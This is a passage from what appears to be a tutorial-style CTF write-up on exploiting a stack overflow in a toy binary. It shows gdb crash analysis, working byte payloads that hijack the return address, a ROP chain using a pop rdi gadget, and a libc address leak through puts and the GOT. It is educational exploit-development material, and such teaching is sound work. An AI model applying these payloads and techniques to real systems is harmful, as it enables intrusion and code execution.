Using host libthread_db library "/lib64/libthread_db.so.1".
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Good job, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
</code></pre></div></div>

<p>We can see it crashed in <code class="language-plaintext highlighter-rouge">main()</code>! That’s good news! To see the exact instruction it crashed on, you can use <code class="language-plaintext highlighter-rouge">disas</code> (to disassemble the full function) or <code class="language-plaintext highlighter-rouge">x/i $rip</code> (to eXamine the Instruction at <code class="language-plaintext highlighter-rouge">rip</code> (the instruction pointer, ie, the current address):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) disas
Dump of assembler code for function main:
   0x0000000000401196 &lt;+0&gt;:	push   rbp
   0x0000000000401197 &lt;+1&gt;:	mov    rbp,rsp
   0x000000000040119a &lt;+4&gt;:	sub    rsp,0x40
[...]
   0x0000000000401279 &lt;+227&gt;:	mov    eax,0x0
   0x000000000040127e &lt;+232&gt;:	leave
=&gt; 0x000000000040127f &lt;+233&gt;:	ret
End of assembler dump.
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">disas</code> is often a lot of output, and doesn’t work without symbols, so I usually use the <code class="language-plaintext highlighter-rouge">x/i</code> method:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) x/i $rip
=&gt; 0x40127f &lt;main+233&gt;:	ret
</code></pre></div></div>

<p>However you do it, we can see it crashes at <code class="language-plaintext highlighter-rouge">ret</code>, which is attempting to return from <code class="language-plaintext highlighter-rouge">main()</code>. What <code class="language-plaintext highlighter-rouge">ret</code> specifically does is jump to the address on top of the stack. We can see that address with <code class="language-plaintext highlighter-rouge">x/xg $rsp</code> (eXamine in heX, the Giant (64-bit integer) on top of the stack (rsp)):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) x/xg $rsp
0x7fffffffe1b8:	0x4141414141414141
</code></pre></div></div>

<p>So it’s trying to return to 0x41414141414141 (ie, executing code at memory address 0x4141414141414141) and crashing because that is not a valid address! That means we’re successfully overwriting the return address and taking control of the program’s execution!</p>

<h3 id="putting-the-exploit-in-a-file">Putting the exploit in a file</h3>

<p>At this point, I’m often writing a program to start generating a file, then piping that file into the program. We’ll use <code class="language-plaintext highlighter-rouge">echo</code> for now (note that the <code class="language-plaintext highlighter-rouge">''</code> in the middle is a visual separator, it doesn’t add anything to the file):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' &gt; test.bin
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run &lt; test.bin
[...]

Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()

(gdb) x/xg $rsp
0x7fffffffe1b8:	0x4141414141414141
</code></pre></div></div>

<h3 id="finding-the-return-address">Finding the return address</h3>

<p>Next, let’s try and figure out exactly where on the stack the return address is. We can disassemble and do math, or we can bruteforce it a bit:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR' &gt; test.bin
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run &lt; test.bin
[...]

Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()

(gdb) x/xg $rsp
0x7fffffffe1b8:	0x5151515150505050
</code></pre></div></div>

<p>According to the top of the stack, we overwrote the return address with a series of (hex) <code class="language-plaintext highlighter-rouge">51</code> and <code class="language-plaintext highlighter-rouge">50</code> which, in ascii, is <code class="language-plaintext highlighter-rouge">P</code> and <code class="language-plaintext highlighter-rouge">Q</code>. That means that the return address is where the <code class="language-plaintext highlighter-rouge">P</code>s and <code class="language-plaintext highlighter-rouge">Q</code>s were, so that’s what we need to manipulate. If it’s not cleanly aligned (like you get <code class="language-plaintext highlighter-rouge">0x5251515151505050</code>), just add or remote single characters until you get there).</p>

<p>Note that there are tools that can automate this for you, such as <code class="language-plaintext highlighter-rouge">pattern_create.rb</code> and <code class="language-plaintext highlighter-rouge">pattern_offset.rb</code> from the Metasploit project, but for something you only really have to do once, I prefer just doing it by hand.</p>

<h3 id="verifying">Verifying</h3>

<p>We’re pretty sure we know where in that string the return address is, but I like to verify first by trying to return to a more obvious address like <code class="language-plaintext highlighter-rouge">0x1122334455667788</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO\x88\x77\x66\x55\x44\x33\x22\x11' &gt; test.bin
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run &lt; test.bin
[...]

Program received signal SIGSEGV, Segmentation fault.
0x000000000040127f in main ()
(gdb) x/xg $rsp
0x7fffffffe1b8:	0x1122334455667788
</code></pre></div></div>

<p>Note that it’s backwards, because Intel processors are little endian - <code class="language-plaintext highlighter-rouge">0x1234</code> gets encoded to <code class="language-plaintext highlighter-rouge">\x34\x12</code>. Look up “endianness” if you want to know more about that, but the important part is that integers are encoded into memory “backwards”.</p>

<p>I’m always super paranoid, and like to do one further test. There’s a certain machine language instruction, <code class="language-plaintext highlighter-rouge">0xcc</code> (in assembly it’s <code class="language-plaintext highlighter-rouge">int 3</code>), which is called a “debug breakpoint”. If the program ever tries to execute the 0xcc instruction, it will crash with an obvious message (something like “breakpoint trap” or “SIGTRAP”). If the program is being debugged, it passes control to the debugger and you can inspect memory or troubleshoot in other ways.</p>

<p>It’s usually possible to find 0xcc in some executable section, so search your output for ` cc `:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -M intel -D goto-zero.patched | grep ' cc '
  401026:	ff 25 cc 2f 00 00    	jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 &lt;_GLOBAL_OFFSET_TABLE_+0x10&gt;
  40119e:	89 7d cc             	mov    DWORD PTR [rbp-0x34],edi
</code></pre></div></div>

<p>As an important aside: see how the <code class="language-plaintext highlighter-rouge">cc</code> instructions are in the middle of other instructions? That’s perfectly fine, the CPU has absolutely no awareness of where an instruction starts or ends (on Intel architectures, at least - on other architectures, instructions must be aligned). We’re going to use that later!</p>

<p>Another quick aside: this only works if the executable wasn’t compiled as a “position-independent executable” (or PIE). The easiest way to tell that is that the executable doesn’t start at address 0. That means when it’s loaded into memory, it’s always loaded at the same address. The same isn’t true for the stack or <code class="language-plaintext highlighter-rouge">libc.so</code>, as we’ll see later.</p>

<p>Anyway, the two options for debug breakpoints are <code class="language-plaintext highlighter-rouge">0x401028</code> and <code class="language-plaintext highlighter-rouge">0x4011a0</code>. Because <code class="language-plaintext highlighter-rouge">objdump -D</code> will mindlessly output assembly on non-executable sections, go check which sections those instructions are in:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
Disassembly of section .plt:

0000000000401020 &lt;puts@plt-0x10&gt;:
  401020:       ff 35 ca 2f 00 00       push   QWORD PTR [rip+0x2fca]        # 403ff0 &lt;_GLOBAL_OFFSET_TABLE_+0x8&gt;
  401026:       ff 25 cc 2f 00 00       jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 &lt;_GLOBAL_OFFSET_TABLE_+0x10&gt;
  40102c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

[...]

Disassembly of section .text:

[...]

0000000000401196 &lt;main&gt;:
  401196:       55                      push   rbp
  401197:       48 89 e5                mov    rbp,rsp
  40119a:       48 83 ec 40             sub    rsp,0x40
  40119e:       89 7d cc                mov    DWORD PTR [rbp-0x34],edi

[...]
</code></pre></div></div>

<p>The first is in the <code class="language-plaintext highlighter-rouge">.plt</code>, which is an executable section that is used to call external libraries (and one we’ll see a little later). The second is in the <code class="language-plaintext highlighter-rouge">.text</code> section, which is where the bulk of the code is stored. Either will work perfectly fine, so let’s pick the one in <code class="language-plaintext highlighter-rouge">main()</code> because it feels better to run code in <code class="language-plaintext highlighter-rouge">main()</code>. We overwrite the return address with <code class="language-plaintext highlighter-rouge">0x4011a0</code>, encoded in little endian (I should also note that because this is a 64-bit <code class="language-plaintext highlighter-rouge">amd64</code> executable (as opposed to a 32-bit <code class="language-plaintext highlighter-rouge">x86</code>), addresses are 8 bytes long:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO\xa0\x11\x40\x00\x00\x00\x00\x00' &gt; test.bin

$ ./goto-zero.patched &lt; test.bin
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@fish: Job 1, './goto-zero.patched &lt; test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
</code></pre></div></div>

<p>Crashing with <code class="language-plaintext highlighter-rouge">SIGTRAP</code> is what we want to see! Note that your shell might show it a little differently, this is what it looks like in Bash:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./goto-zero.patched &lt; test.bin
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Trace/breakpoint trap (core dumped)
</code></pre></div></div>

<p>Worst case, a debugger will always show it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run &lt; test.bin
Starting program: /home/ron/projects/ctf/goto-zero/goto-zero.patched &lt; test.bin
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000004011a1 in main ()
</code></pre></div></div>

<p>For extra bonus points, if you can find the byte sequence <code class="language-plaintext highlighter-rouge">eb f0</code>, that’s an infinite loop (it’s a 2 byte sequence that decodes to “jump backwards 2 bytes”), which lets you lock up an executable entirely. You can verify that a remote target is vulnerable by setting the return address to memory containing <code class="language-plaintext highlighter-rouge">eb f0</code>, and then seeing if the session locks up (that’s also kinda rude if it’s not your server!)</p>

<h2 id="return-oriented-programming-rop">Return-oriented programming (ROP)</h2>

<p>So remember how we used a <code class="language-plaintext highlighter-rouge">cc</code> instruction from the middle of another instruction? In this code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  40119e:       89 7d cc                mov    DWORD PTR [rbp-0x34],edi
</code></pre></div></div>

<p>This is the first tiny little piece of “return oriented programming”, or ROP, that we’re doing. But we’re going to do a lot more!</p>

<p>In the olden days, systems and binaries had executable stacks. That means that if you overflowed the stack and changed the return address, you could just send code along with the updated return address and jump to that code, and you’re basically done - you’re executing arbitrary code.</p>

<p>Thankfully, pretty much no application in the last 20 years ships with an executable stack, even CTF challenges typically don’t (a notable exception is Citrix ADC, which runs its entire network stack including protocol parsers in a root module with an executable stack - see my writeup for <a href="https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519/rapid7-analysis">cve-2023-3519</a>). That means we need another way to execute code that we want!</p>

<p>The trick folks found is to use code that is already loaded in memory and executable, but to use it in a way that nobody would expect. The core idea behind ROP is that you find little bits and pieces of code (called “gadgets”) to do complete little tasks, and have each one jump to the next one by chaining them together as return addresses.</p>

<p>Normally, you’re doing one of two things:</p>

<ul>
  <li>Either “set a register to a value and then return to the next thing” (typically, <code class="language-plaintext highlighter-rouge">pop / ret</code>); or</li>
  <li>Call an already-defined function to do a thing</li>
</ul>

<p>Most of the time when using ROP, unless you’re getting super complex, you’re using little gadgets to set up arguments to a function, then you’re calling that function, and repeat (note that <code class="language-plaintext highlighter-rouge">x86</code> and <code class="language-plaintext highlighter-rouge">amd64</code> vary here - you don’t normally need to set up registers on <code class="language-plaintext highlighter-rouge">x86</code> since arguments are passed on the stack, but that’s a bit beyond the scope here).</p>

<h3 id="calling-conventions">Calling conventions</h3>

<p>So let’s talk function arguments!</p>

<p>Much earlier, when we saw <code class="language-plaintext highlighter-rouge">time</code> / <code class="language-plaintext highlighter-rouge">srand</code> / <code class="language-plaintext highlighter-rouge">rand</code>, we saw arguments being passed in <code class="language-plaintext highlighter-rouge">edi</code> (which is essentially <code class="language-plaintext highlighter-rouge">rdi</code>):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  4011e1:       bf 00 00 00 00          mov    edi,0x0
  4011e6:       e8 95 fe ff ff          call   401080 &lt;time@plt&gt;
  4011eb:       89 c7                   mov    edi,eax
  4011ed:       e8 5e fe ff ff          call   401050 &lt;srand@plt&gt;
</code></pre></div></div>

<p>This is what’s known as a calling convention - specifically, the calling convention <a href="https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI">used by amd64 Linux</a> (that I have to look up every time I do this). The first four arguments to any function are passed in: <code class="language-plaintext highlighter-rouge">rdi</code>, <code class="language-plaintext highlighter-rouge">rsi</code>, <code class="language-plaintext highlighter-rouge">rdx</code>, then <code class="language-plaintext highlighter-rouge">rcx</code>, which means if you want to call a function with, say, two arguments, the first goes into <code class="language-plaintext highlighter-rouge">rdi</code> and the second goes into <code class="language-plaintext highlighter-rouge">rsi</code>.</p>

<p>For each of those arguments, we need to find a way to set it to a value then return again. Since you’re controlling the stack already, the easiest way to do that is with <code class="language-plaintext highlighter-rouge">pop &lt;reg&gt;</code> followed by <code class="language-plaintext highlighter-rouge">ret</code>.</p>

<p>Depending on how big the binary is, it might be easier or harder to find clean versions of these. Sometimes you’ll find <code class="language-plaintext highlighter-rouge">pop rsi / &lt;do a few irrelevant things&gt; / ret</code>. Sometimes you’ll need to chain together multiple gadgets to do a single thing. It can get very tricky, but CTFs will usually give you the tools you need.</p>

<p>Another thing to mention is: there are tools that will find these for you. I’ve never personally used one, though probably I should - I just look for the right sequences by hand, normally they’re pretty obvious (don’t forget to look inside other instructions, though!).</p>

<h3 id="our-first-rop">Our first ROP!</h3>

<p>Let’s look for a <code class="language-plaintext highlighter-rouge">pop rdi / ret</code> instruction! We can assemble and disassemble a little program using <code class="language-plaintext highlighter-rouge">nasm</code> to figure out what we’re looking for:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat test.asm
bits 64
pop rdi
ret

$ nasm -o test.bin test.asm

$ hexdump -C test.bin
00000000  5f c3                                             |_.|

$ ndisasm -b64 test.bin
00000000  5F                pop rdi
00000001  C3                ret
</code></pre></div></div>

<p>So basically, we need a <code class="language-plaintext highlighter-rouge">5f</code>, followed by  <code class="language-plaintext highlighter-rouge">c3</code> (but not necessarily adjacent). That sequence is found quite commonly at the end of functions, so you’ll usually be able to find it pretty easily. In the toy challenge I made, I just added one after <code class="language-plaintext highlighter-rouge">main</code> so you don’t really have to search:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  40127f:       c3                      ret
  401280:       cc                      int3
  401281:       5f                      pop    rdi
  401282:       c3                      ret
</code></pre></div></div>

<p>So let’s take our payload from earlier, and instead of the debug address we’ll use the <code class="language-plaintext highlighter-rouge">pop rdi</code> instruction as the return address (0x401281), followed by a value that will go into <code class="language-plaintext highlighter-rouge">rdi</code> (0x1234567812345678). Once 0x1234567812345678 is popped into <code class="language-plaintext highlighter-rouge">rdi</code>, the <code class="language-plaintext highlighter-rouge">ret</code> will execute and whatever is <em>next</em> on the stack is the next return address. For that, we’ll use our debug breakpoint from earlier (0x4011a0).</p>

<p>All put together (once again using <code class="language-plaintext highlighter-rouge">''</code> as a visual separator), we get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x78\x56\x34\x12\x78\x56\x34\x12''\xa0\x11\x40\x00\x00\x00\x00\x00' &gt; test.bin
</code></pre></div></div>

<p>Then run it in a debugger:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run &lt; test.bin
[...]
Program received signal SIGTRAP, Trace/breakpoint trap.
0x00000000004011a1 in main ()
</code></pre></div></div>

<p>Crashing at a <code class="language-plaintext highlighter-rouge">SIGTRAP</code> means we’re still ending with our debug statement - that’s good news! If you’re getting a <code class="language-plaintext highlighter-rouge">SIGSEGV</code>, that means you’re ending up at the wrong place. Inspecting the address you’re at (<code class="language-plaintext highlighter-rouge">x/i $rip</code>) and the top of the stack (<code class="language-plaintext highlighter-rouge">x/xg $rsp</code>) might give you hints.</p>

<p>If it worked, we can use <code class="language-plaintext highlighter-rouge">print/x</code> to print the register in heX to check what’s in <code class="language-plaintext highlighter-rouge">rdi</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) print/x $rdi
$1 = 0x1234567812345678
</code></pre></div></div>

<p>We did it!</p>

<h2 id="what-are-we-doing-here">What are we doing here?</h2>

<p>Okay, now what are we actually trying to do?</p>

<p>We’re trying to get code execution, but how? We mentioned that you can set up arguments and then call functions. But what functions can we actually call?</p>

<p>Because our binary isn’t compiled with <code class="language-plaintext highlighter-rouge">PIE</code>, we have a menu of functions that we can call, and we can see it with <code class="language-plaintext highlighter-rouge">objdump -T</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -T ./goto-zero.patched

./goto-zero.patched:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.34) __libc_start_main
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) puts
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) printf
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) srand
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) fgets
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) getchar
0000000000000000  w   D  *UND*	0000000000000000  Base        __gmon_start__
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) time
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) setvbuf
0000000000000000      DF *UND*	0000000000000000 (GLIBC_2.2.5) rand
0000000000404060 g    DO .bss	0000000000000008 (GLIBC_2.2.5) stdout
0000000000404070 g    DO .bss	0000000000000008 (GLIBC_2.2.5) stdin
0000000000404080 g    DO .bss	0000000000000008 (GLIBC_2.2.5) stderr
</code></pre></div></div>

<p>There’s really not much there. That’s a problem. If we want to run code, we need to be able to make an arbitrary syscall, or write a file (<code class="language-plaintext highlighter-rouge">open</code> / <code class="language-plaintext highlighter-rouge">write</code>), or run a command (<code class="language-plaintext highlighter-rouge">system</code>), or allocate executable memory (<code class="language-plaintext highlighter-rouge">mmap</code>), or something else fun. None of those functions are what I’d call “fun”. So where do we find fun functions?</p>

<p>We find fun functions in <code class="language-plaintext highlighter-rouge">libc.so</code>, which unfortunately IS compiled with <code class="language-plaintext highlighter-rouge">PIE</code>, so we can’t just jump to it - every time the binary starts, it’s loaded to a new address.</p>

<p>However, PIE only means we change <em>where</em> we load something into memory, not <em>what</em> we load into memory. The layout of <code class="language-plaintext highlighter-rouge">libc.so</code> will always be the same once it’s loaded. That means if we can find <em>one</em> thing in <code class="language-plaintext highlighter-rouge">libc.so</code>, we can use the magic of math to find <em>every</em> thing.</p>

<p>In other words, our goal is to leak one <code class="language-plaintext highlighter-rouge">libc.so</code> memory address. Then suddenly, we have access to every function and gadget in <code class="language-plaintext highlighter-rouge">libc.so</code>!</p>

<h2 id="leaking-an-address">Leaking an address</h2>

<p>We do, thankfully, have a function that can print stuff. Several, actually! <code class="language-plaintext highlighter-rouge">puts()</code> is probably the easiest. As usual, I like to test things before I actually do them, so let’s look at how to test it.</p>

<h3 id="testing-our-leak">Testing our leak</h3>

<p>The first argument to <code class="language-plaintext highlighter-rouge">puts</code> is a string that will be printed. That means we want to set <code class="language-plaintext highlighter-rouge">rdi</code> to a string that, if output, would stand out.</p>

<p>Let’s use our <code class="language-plaintext highlighter-rouge">pop rdi / ret</code> gadget again, but this time instead of a recognizable number, we’ll put this memory address into <code class="language-plaintext highlighter-rouge">rdi</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) x/s 0x402010
0x402010:       "Enter %d characters then press enter!\n"
</code></pre></div></div>

<p>That’ll definitely stand out! So now our call stack is:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> (0x401281)</li>
  <li>Our string (0x402010)</li>
</ul>

<p>Next, we need to call <code class="language-plaintext highlighter-rouge">puts()</code>. We can find the indirect call to <code class="language-plaintext highlighter-rouge">puts()</code> in the <code class="language-plaintext highlighter-rouge">.plt</code> section:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000000401030 &lt;puts@plt&gt;:
  401030:       ff 25 ca 2f 00 00       jmp    QWORD PTR [rip+0x2fca]        # 404000 &lt;puts@GLIBC_2.2.5&gt;
  401036:       68 00 00 00 00          push   0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 &lt;_init+0x20&gt;
</code></pre></div></div>

<p>So the third thing we put on the stack is that address - 0x401030. Now our stack is:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> (0x401281)</li>
  <li>Our string (0x402010)</li>
  <li><code class="language-plaintext highlighter-rouge">puts()</code> (0x401030)</li>
</ul>

<p>The final thing is our old friend the debug breakpoint - that way we can make sure everything is going right - 0x4011a0. So here’s our final stack:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> (0x401281)</li>
  <li>Our string (0x402010)</li>
  <li><code class="language-plaintext highlighter-rouge">puts()</code> (0x401030)</li>
  <li>Debug (0x4011a0)</li>
</ul>

<p>So now encode that all into our payload, remembering that each address is encoded into 8 backwards (little endian) bytes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x10\x20\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\xa0\x11\x40\x00\x00\x00\x00\x00' &gt; test.bin

$ ./goto-zero.patched &lt; test.bin
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@Enter %d characters then press enter!

fish: Job 1, './goto-zero.patched &lt; test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
</code></pre></div></div>

<p>Well there we go! We printed out some arbitrary memory and then hit a debug breakpoint!</p>

<p>Do you know what else lives in arbitrary memory? Memory addresses! Remember what we needed to call a <code class="language-plaintext highlighter-rouge">libc.so</code> function? A memory address!</p>

<p>Let’s look at that <code class="language-plaintext highlighter-rouge">.plt</code> thing again.</p>

<h3 id="reading-the-linking-table">Reading the linking table</h3>

<p>Since we could call <code class="language-plaintext highlighter-rouge">puts()</code> from our own binary, it’s somewhat obvious that our binary has <code class="language-plaintext highlighter-rouge">libc.so</code> addresses somewhere! Otherwise, it wouldn’t know where to go.</p>

<p>The way linking and imports and stuff actually work is kinda complex - the book <a href="https://practicalbinaryanalysis.com/">Practical Binary Analysis</a> explains it better than most - but suffice to say that we can find <code class="language-plaintext highlighter-rouge">libc.so</code> addresses in the non-PIE binary we’re running if we know where to look.</p>

<p>Once again, non-<code class="language-plaintext highlighter-rouge">objdump</code> tools are much better at displaying these addresses, but here’s the <code class="language-plaintext highlighter-rouge">.plt</code> entry for <code class="language-plaintext highlighter-rouge">puts</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000000401030 &lt;puts@plt&gt;:
  401030:       ff 25 ca 2f 00 00       jmp    QWORD PTR [rip+0x2fca]        # 404000 &lt;puts@GLIBC_2.2.5&gt;
  401036:       68 00 00 00 00          push   0x0
  40103b:       e9 e0 ff ff ff          jmp    401020 &lt;_init+0x20&gt;
</code></pre></div></div>

<p>The first line does some math to reference a different part of the binary. <code class="language-plaintext highlighter-rouge">objdump</code> helpfully does that math and says it’s 0x404000. That’s the address where the actual <code class="language-plaintext highlighter-rouge">puts</code> address is stored, but with a little twist: it’s only there <em>after</em> it’s called - the linking is done opportunistically (see Practical Binary Analysis for all the details).</p>

<p>When you first run the executable, before doing anything, we can print the data at 0x404000:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run
[...]
Enter 14 characters then press enter!
^C

Program received signal SIGINT, Interrupt.
0x00007ffff7ec5e11 in __GI___libc_read (fd=0, buf=0x4056b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26        return SYSCALL_CANCEL (read, fd, buf, nbytes);

(gdb) x/xg 0x404000
0x404000 &lt;puts@got.plt&gt;:        0x0000000000401036
</code></pre></div></div>

<p>It stores 0x401036, which is an address in the binary itself - not in <code class="language-plaintext highlighter-rouge">libc.so</code>. But if we let the <code class="language-plaintext highlighter-rouge">puts()</code> run and <em>then</em> inspect it, it’s changed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) run
[...]
Enter 14 characters then press enter!
AAAAAAAAAAAAAA
What is your name?

^C

Program received signal SIGINT, Interrupt.
0x00007ffff7ec5e11 in __GI___libc_read (fd=0, buf=0x4052a0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26	 return SYSCALL_CANCEL (read, fd, buf, nbytes);

(gdb) x/xg 0x404000
0x404000 &lt;puts@got.plt&gt;:	0x00007ffff7e3c0a0
</code></pre></div></div>

<p>And there’s a <code class="language-plaintext highlighter-rouge">libc.so</code> address! You’ll recognize them because they usually start with 0x7f.</p>

<p>So now, let’s leak that address!</p>

<h3 id="leaking-the-address">Leaking the address</h3>

<p>Now all we have to do is take the most recent exploit we wrote, and instead of printing off “Enter %d characters then press enter!”, we print off 0x404000! It’s not going to be pretty, because it’s binary, but it should work.</p>

<p>Let’s update that call stack from earlier:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">pop rdi / ret</code> (0x401281)</li>
  <li><strong>The address we want to leak (0x404000)</strong></li>
  <li><code class="language-plaintext highlighter-rouge">puts()</code> (0x401030)</li>
  <li>Debug (0x4011a0)</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ echo -ne 'AAAAAAAAAAAAAA\n''BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO''\x81\x12\x40\x00\x00\x00\x00\x00''\x00\x40\x40\x00\x00\x00\x00\x00''\x30\x10\x40\x00\x00\x00\x00\x00''\xa0\x11\x40\x00\x00\x00\x00\x00' &gt; test.bin

$ ./goto-zero.patched &lt; test.bin
Enter 14 characters then press enter!
What is your name?

Good job, BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�@�Q�V
fish: Job 1, './goto-zero.patched &lt; test.bin' terminated by signal SIGTRAP (Trace or breakpoint trap)
</code></pre></div></div>

<p>Notice the <code class="language-plaintext highlighter-rouge">�@�Q�V</code> at the end? That’s the address of <code class="language-plaintext highlighter-rouge">puts</code> in <code class="language-plaintext highlighter-rouge">libc.so</code> (and, as such, it changes every time)! We can see it better with <code class="language-plaintext highlighter-rouge">hexdump</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./goto-zero.patched &lt; test.bin | hexdump -C
00000000  45 6e 74 65 72 20 31 34  20 63 68 61 72 61 63 74  |Enter 14 charact|
00000010  65 72 73 20 74 68 65 6e  20 70 72 65 73 73 20 65  |ers then press e|
00000020  6e 74 65 72 21 0a 57 68  61 74 20 69 73 20 79 6f  |nter!.What is yo|
00000030  75 72 20 6e 61 6d 65 3f  0a 0a 47 6f 6f 64 20 6a  |ur name?..Good j|
00000040  6f 62 2c 20 42 42 42 42  43 43 43 43 44 44 44 44  |ob, BBBBCCCCDDDD|
00000050  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000060  49 49 49 49 4a 4a 4a 4a  4b 4b 4b 4b 4c 4c 4c 4c  |IIIIJJJJKKKKLLLL|
00000070  4d 4d 4d 4d 4e 4e 4e 4e  4f 4f 4f 4f 81 12 40 a0  |MMMMNNNNOOOO..@.|
